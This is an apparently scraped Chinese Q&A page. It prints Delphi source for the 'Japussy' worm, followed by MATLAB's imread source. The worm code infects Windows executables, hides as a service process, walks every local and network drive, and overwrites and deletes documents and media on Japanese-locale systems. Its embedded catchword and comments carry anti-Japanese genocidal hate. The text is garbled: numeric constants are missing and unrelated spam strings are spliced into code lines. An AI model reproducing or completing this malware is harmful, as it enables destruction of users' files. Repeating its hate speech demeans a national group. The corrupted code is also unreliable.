1.听说电脑病毒是源码一串代码
2.求MATLAB里imread这个函数的源代码
听说电脑病毒是一串代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{ , Registry};
const
HeaderSize = ; //病毒体的大小
IconOffset = $EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的解析Delphi可能不同
//查找的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = ; //Upx压缩过病毒体的大小
IconOffset = $BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.W 用法: upx -9 -- Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out,源码写字机源码 it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W.Japussy.Worm.A ***';
{ $R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream,解析 dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName,源码蚌埠兑换商城源码 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $ do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #) and (Buf[1] = #) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < ) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(字节)，存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance,解析上下娱乐捕鱼源码 PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, , DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle,源码 Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to do //遍历个字母
begin
D := Chr(i + );
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path,解析 Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> ) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = ) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，源码将Base编码后的解析病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠毫秒，避免CPU占用率过高引起怀疑
Sleep();
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*',源码 faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的解析磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep( * * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile,源码手机滑屏源码 Length(TmpFile) - 4, 4);
TmpFile := TmpFile + # + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si,解析 SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.
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求MATLAB里imread这个函数的源代码
function [X, map, alpha] = imread(varargin)
[filename, format, extraArgs, msg] = parse_inputs(varargin{ :});
if (~isempty(msg))
error('MATLAB:imread:inputParsing', '%s', msg);
end
% Download remote file.
if (strfind(filename, '://'))
url = true;
if (~usejava('mwt'))
error('MATLAB:imread:noJava', 'Reading from a URL requires a Java Virtual Machine.')
end
try
filename = urlwrite(filename, tempname);
catch
error('MATLAB:imread:readURL', 'Can''t read URL "%s".', filename);
end
else
url = false;
end
if (isempty(format))
% The format was not specified explicitly.
% Verify that the file exists.
fid = fopen(filename, 'r');
if (fid == -1)
if ~isempty(dir(filename))
error('MATLAB:imread:fileOpen', ['Can''t open file "%s" for reading;\nyou' ...
' may not have read permission.'], ...
filename);
else
error('MATLAB:imread:fileOpen', 'File "%s" does not exist.', filename);
end
else
% File exists. Get full filename.
filename = fopen(fid);
fclose(fid);
end
% Try to determine the file type.
format = imftype(filename);
if (isempty(format))
error('MATLAB:imread:fileFormat', 'Unable to determine the file format.');
end
else
% The format was specified explicitly.
% Verify that the file exists.
fid = fopen(filename, 'r');
if (fid == -1)
% Couldn't open using the given filename; search for a
% file with an appropriate extension.
fmt_s = imformats(format);
if (isempty(fmt_s))
error('MATLAB:imread:fileFormat', ['Couldn''t find format %s in the format registry.' ...
' See "help imformats".'], format);
end
for p = 1:length(fmt_s.ext)
fid = fopen([filename '.' fmt_s.ext{ p}]);
if (fid ~= -1)
% The file was found. Don't continue searching.
break
end
end
end
if (fid == -1)
if ~isempty(dir(filename))
error('MATLAB:imread:fileOpen', ['Can''t open file "%s" for reading;\nyou' ...
' may not have read permission.'], ...
filename);
else
error('MATLAB:imread:fileOpen', 'File "%s" does not exist.', filename);
end
else
filename = fopen(fid);
fclose(fid);
end
end
% Get format details.
fmt_s = imformats(format);
% Verify that a read function exists
if (isempty(fmt_s.read))
error('MATLAB:imread:readFunctionRegistration', 'No reading function for format %s. See "help imformats".', ...
fmt_s.ext{ 1});
end
if ((fmt_s.alpha) && (nargout == 3))
% Use the alpha channel.
[X, map, alpha] = feval(fmt_s.read, filename, extraArgs{ :});
else
% Alpha channel is not requested or is not applicable.
alpha = [];
[X, map] = feval(fmt_s.read, filename, extraArgs{ :});
end
% Delete temporary file from Internet download.
if (url)
delete_download(filename);
end
%%%
%%% Function delete_download
%%%
function delete_download(filename)
try
delete(filename);
catch
warning('MATLAB:imread:tempFileDelete', 'Can''t delete temporary file "%s".', filename)
end
%%%
%%% Function parse_inputs
%%%
function [filename, format, extraArgs, msg] = ...
parse_inputs(varargin)
filename = '';
format = '';
extraArgs = { };
msg = '';
% Parse arguments based on their number.
switch(nargin)
case 0
% Not allowed.
msg = 'Too few input arguments.';
return;
case 1
% Filename only.
filename = varargin{ 1};
otherwise
% Filename and format or other arguments.
filename = varargin{ 1};
% Check whether second argument is a format.
if (ischar(varargin{ 2}))
fmt_s = imformats(varargin{ 2});
else
fmt_s = struct([]);
end
if (~isempty(fmt_s))
% The argument matches a format.
format = varargin{ 2};
extraArgs = varargin(3:end);
else
% The argument begins the format-specific parameters.
extraArgs = varargin(2:end);
end
end